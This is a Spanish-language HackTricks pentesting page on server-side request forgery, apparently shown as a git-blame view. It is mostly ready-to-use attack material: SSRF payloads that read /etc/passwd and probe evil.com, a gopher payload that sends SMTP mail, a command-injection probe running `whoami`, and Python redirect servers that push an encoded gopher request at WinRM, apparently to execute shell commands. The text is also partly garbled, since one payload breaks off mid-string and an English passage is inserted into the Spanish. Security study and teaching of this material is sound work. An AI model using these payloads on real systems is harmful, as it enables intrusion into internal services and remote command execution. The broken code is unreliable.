hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

351 lines
26 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# SSRF (Server Side Request Forgery)
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
2023-06-05 18:33:24 +00:00
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
La falsificación de solicitud del lado del servidor (también conocida como SSRF, por sus siglas en inglés) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a la aplicación del lado del servidor a realizar solicitudes HTTP a un dominio arbitrario** elegido por el atacante. (De [aquí](https://portswigger.net/web-security/ssrf))
2023-06-05 18:33:24 +00:00
## Capturar SSRF
2023-06-05 18:33:24 +00:00
Lo primero que debes hacer es capturar una interacción de SSRF provocada por ti. Para capturar una interacción HTTP o DNS, puedes utilizar herramientas como:
2023-06-05 18:33:24 +00:00
* **Burpcollab**
* [**pingb**](http://pingb.in)
* [**canarytokens**](https://canarytokens.org/generate)
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
## Bypass de dominios en lista blanca
2023-06-05 18:33:24 +00:00
Por lo general, descubrirás que el SSRF solo funciona en **ciertos dominios en lista blanca** o URL. En la siguiente página tienes una **recopilación de técnicas para intentar eludir esa lista blanca**:
2023-06-05 18:33:24 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Bypass a través de redirección abierta
Si el servidor está correctamente protegido, podrías **eludir todas las restricciones explotando una redirección abierta dentro de la página web**. Debido a que la página web permitirá **SSRF al mismo dominio** y probablemente **seguirá redirecciones**, puedes aprovechar la **redirección abierta para hacer que el servidor acceda a cualquier recurso interno**.\
Lee más aquí: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2023-06-05 18:33:24 +00:00
## Protocolos
### file://
```
file:///etc/passwd
```
### dict://
El esquema de URL DICT se utiliza para referirse a definiciones o listas de palabras disponibles utilizando el protocolo DICT:
2023-06-05 18:33:24 +00:00
```
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
### SFTP://
Un protocolo de red utilizado para la transferencia segura de archivos a través de secure shell.
2023-06-05 18:33:24 +00:00
```
ssrf.php?url=sftp://evil.com:11111/
```
### TFTP://
El Protocolo de Transferencia de Archivos Triviales, funciona sobre UDP.
```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
### LDAP://
Protocolo de Acceso Ligero a Directorios. Es un protocolo de aplicación utilizado sobre una red IP para gestionar y acceder al servicio de información de directorio distribuido.
2023-06-05 18:33:24 +00:00
```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
### Gopher://
Usando este protocolo puedes especificar la **IP, puerto y bytes** que quieres que el servidor **envíe**. Luego, básicamente puedes explotar un SSRF para **comunicarte con cualquier servidor TCP** (pero primero necesitas saber cómo hablar con el servicio).\
Afortunadamente, puedes usar [Gopherus](https://github.com/tarunkant/Gopherus) para crear payloads para varios servicios. Además, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) se puede utilizar para crear payloads _gopher_ para servicios _Java RMI_.
2023-06-05 18:33:24 +00:00
**Gopher smtp**
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
**Gopher HTTP**
Gopher HTTP is a technique used in Server-Side Request Forgery (SSRF) attacks. SSRF is a vulnerability that allows an attacker to make requests from the server to other internal or external resources. Gopher HTTP takes advantage of the Gopher protocol, which is a simple protocol used for retrieving documents over the Internet.
2023-06-05 18:33:24 +00:00
In a Gopher HTTP attack, the attacker crafts a URL that includes the Gopher protocol and specifies the desired resource. This URL is then sent to the vulnerable server, which processes the request and retrieves the specified resource using the Gopher protocol. The server's response is then returned to the attacker.
The Gopher protocol allows the attacker to access various resources, including files, directories, and even network services. By leveraging this protocol, an attacker can bypass restrictions and access sensitive information or perform unauthorized actions.
To protect against Gopher HTTP attacks, it is important to validate and sanitize all user-supplied input, especially URLs. Additionally, network-level protections, such as firewalls and access controls, can help mitigate the risk of SSRF attacks.
Remember, as a hacker, it is crucial to understand and responsibly disclose vulnerabilities to help improve the security of systems and protect against potential attacks.
2023-06-05 18:33:24 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP - Conexión inversa a 1337**
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
### SMTP
Desde [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
1\. Conéctate con SSRF en localhost:25 smtp\
2\. Desde la primera línea, obtén el nombre de dominio interno 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
3\. Busca[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)en github, encuentra subdominios\
4\. Conéctate
2023-06-05 18:33:24 +00:00
### Curl URL globbing - Bypass de WAF
Si el SSRF es ejecutado por **curl**, curl tiene una característica llamada [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que podría ser útil para eludir WAFs. Por ejemplo, en este [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puedes encontrar este ejemplo para una **travesía de ruta a través del protocolo `file`**:
2023-06-05 18:33:24 +00:00
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
## Capturar solicitudes SSRF
* Burp Collaborator
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://app.interactsh.com/](https://app.interactsh.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
2023-06-05 18:33:24 +00:00
## SSRF a través de la cabecera Referrer
2023-06-05 18:33:24 +00:00
Algunas aplicaciones utilizan software de análisis en el lado del servidor que rastrea a los visitantes. Este software a menudo registra la cabecera Referrer en las solicitudes, ya que esto es de particular interés para rastrear los enlaces entrantes. A menudo, el software de análisis visitará en realidad cualquier URL de terceros que aparezca en la cabecera Referrer. Esto se hace típicamente para analizar el contenido de los sitios de referencia, incluido el texto del ancla que se utiliza en los enlaces entrantes. Como resultado, la cabecera Referer a menudo representa una superficie de ataque fructífera para las vulnerabilidades SSRF.\
Para descubrir este tipo de vulnerabilidades "ocultas", puedes utilizar el complemento "**Collaborator Everywhere**" de Burp.
2023-06-05 18:33:24 +00:00
## SSRF a través de los datos SNI del certificado
La configuración incorrecta más simple que te permitiría conectarte a un backend arbitrario se vería algo así:
2023-06-05 18:33:24 +00:00
```nginx
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-06-05 18:33:24 +00:00
}
```
Aquí, el valor del campo SNI se utiliza directamente como la dirección del backend.
Con esta configuración insegura, podemos **explotar la vulnerabilidad SSRF simplemente especificando la IP o el nombre de dominio deseado en el campo SNI**. Por ejemplo, el siguiente comando obligaría a Nginx a conectarse a _internal.host.com_:
```bash
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
```
## [Carga de archivos con Wget](../file-upload/#trampa-de-carga-de-archivos-con-wget)
2023-06-05 18:33:24 +00:00
## SSRF con Inyección de Comandos
2023-06-05 18:33:24 +00:00
Podría valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## Renderización de PDFs
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar un JS que será ejecutado por el propio creador de PDF** (el servidor) mientras crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
2023-06-05 18:33:24 +00:00
## De SSRF a DoS
Crea varias sesiones e intenta descargar archivos pesados aprovechando el SSRF de las sesiones.
2023-06-05 18:33:24 +00:00
## Funciones PHP de SSRF
2023-06-05 18:33:24 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## Redirección de SSRF a Gopher
2023-06-05 18:33:24 +00:00
Para algunas explotaciones, es posible que necesites **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en Python para responder con una redirección:
2023-06-05 18:33:24 +00:00
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%7
```python
self.end_headers()
2023-06-05 18:33:24 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
```python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
2023-06-05 18:33:24 +00:00
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy mismo:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bypass de CORS/SOP mediante DNS Rebidding
2023-06-05 18:33:24 +00:00
Si tiene **problemas** para **exfiltrar contenido desde una IP local** debido a **CORS/SOP**, puede utilizar **DNS Rebidding** para evitar esa limitación:
2023-06-05 18:33:24 +00:00
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### DNS Rebidding automatizado
2023-06-05 18:33:24 +00:00
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque con la dirección IP de la máquina objetivo y para servir cargas de ataque para explotar software vulnerable en la máquina objetivo.
2023-06-05 18:33:24 +00:00
También puedes consultar el servidor en funcionamiento públicamente en [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\*
2023-06-05 18:33:24 +00:00
## DNS Rebidding + ID de sesión TLS/ID de ticket de sesión
2023-06-05 18:33:24 +00:00
Requisitos:
* **SSRF**
* **Sesiones TLS salientes**
* **Cosas en puertos locales**
Ataque:
1. Solicite al usuario/bot **acceder** a un **dominio** controlado por el **atacante**
2. El **TTL** del **DNS** es de **0** segundos (por lo que la víctima volverá a comprobar la IP del dominio pronto)
2023-06-05 18:33:24 +00:00
3. Se crea una **conexión TLS** entre la víctima y el dominio del atacante. El atacante introduce la **carga útil dentro** del **ID de sesión o del ticket de sesión**.
4. El **dominio** iniciará un **bucle infinito** de redirecciones contra **sí mismo**. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice **nuevamente** una **solicitud DNS** del dominio.
5. En la solicitud DNS se proporciona una dirección IP **privada** **ahora** (por ejemplo, 127.0.0.1)
6. El usuario/bot intentará **restablecer la conexión TLS** y para hacerlo enviará el **ID de sesión/Ticket ID** (donde se encontraba la **carga útil** del atacante). Así que felicidades, lograste hacer que el **usuario/bot se ataque a sí mismo**.
2023-06-05 18:33:24 +00:00
Ten en cuenta que durante este ataque, si deseas atacar a localhost:11211 (_memcache_), debes hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el **puerto siempre debe ser el mismo**).\
Para **realizar este ataque puedes utilizar la herramienta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Para obtener **más información**, echa un vistazo a la charla donde se explica este ataque: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
2023-06-05 18:33:24 +00:00
## SSRF a ciegas
La diferencia entre un SSRF a ciegas y uno que no lo es, es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades conocidas.
2023-06-05 18:33:24 +00:00
### SSRF basado en tiempo
**Comprobando el tiempo** de las respuestas del servidor, puede ser **posible saber si un recurso existe o no** (tal vez se tarda más tiempo en acceder a un recurso existente que en acceder a uno que no existe)
2023-06-05 18:33:24 +00:00
## Explotación de SSRF en la nube
Si encuentra una vulnerabilidad de SSRF en una máquina que se ejecuta dentro de un entorno de nube, es posible que pueda obtener información interesante sobre el entorno de la nube e incluso credenciales:
2023-06-05 18:33:24 +00:00
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## Plataformas vulnerables a SSRF
Varias plataformas conocidas contienen o han contenido vulnerabilidades de SSRF, compruébalas en:
2023-06-05 18:33:24 +00:00
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
## Herramientas
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
Herramienta para detectar y explotar vulnerabilidades de SSRF
2023-06-05 18:33:24 +00:00
### [Gopherus](https://github.com/tarunkant/Gopherus)
* [Publicación de blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
2023-06-05 18:33:24 +00:00
Esta herramienta genera cargas útiles de Gopher para:
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [Publicación de blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
2023-06-05 18:33:24 +00:00
_remote-method-guesser_ es un escáner de vulnerabilidades de _Java RMI_ que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de _Java RMI_. La mayoría de las operaciones disponibles admiten la opción `--ssrf`, para generar una carga útil de _SSRF_ para la operación solicitada. Junto con la opción `--gopher`, se pueden generar directamente cargas útiles de _gopher_ listas para usar.
2023-06-05 18:33:24 +00:00
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy es un servidor proxy HTTP multiproceso diseñado para canalizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a la falsificación de solicitudes del lado del servidor (SSRF).
2023-06-05 18:33:24 +00:00
### Para practicar
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
## Referencias
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}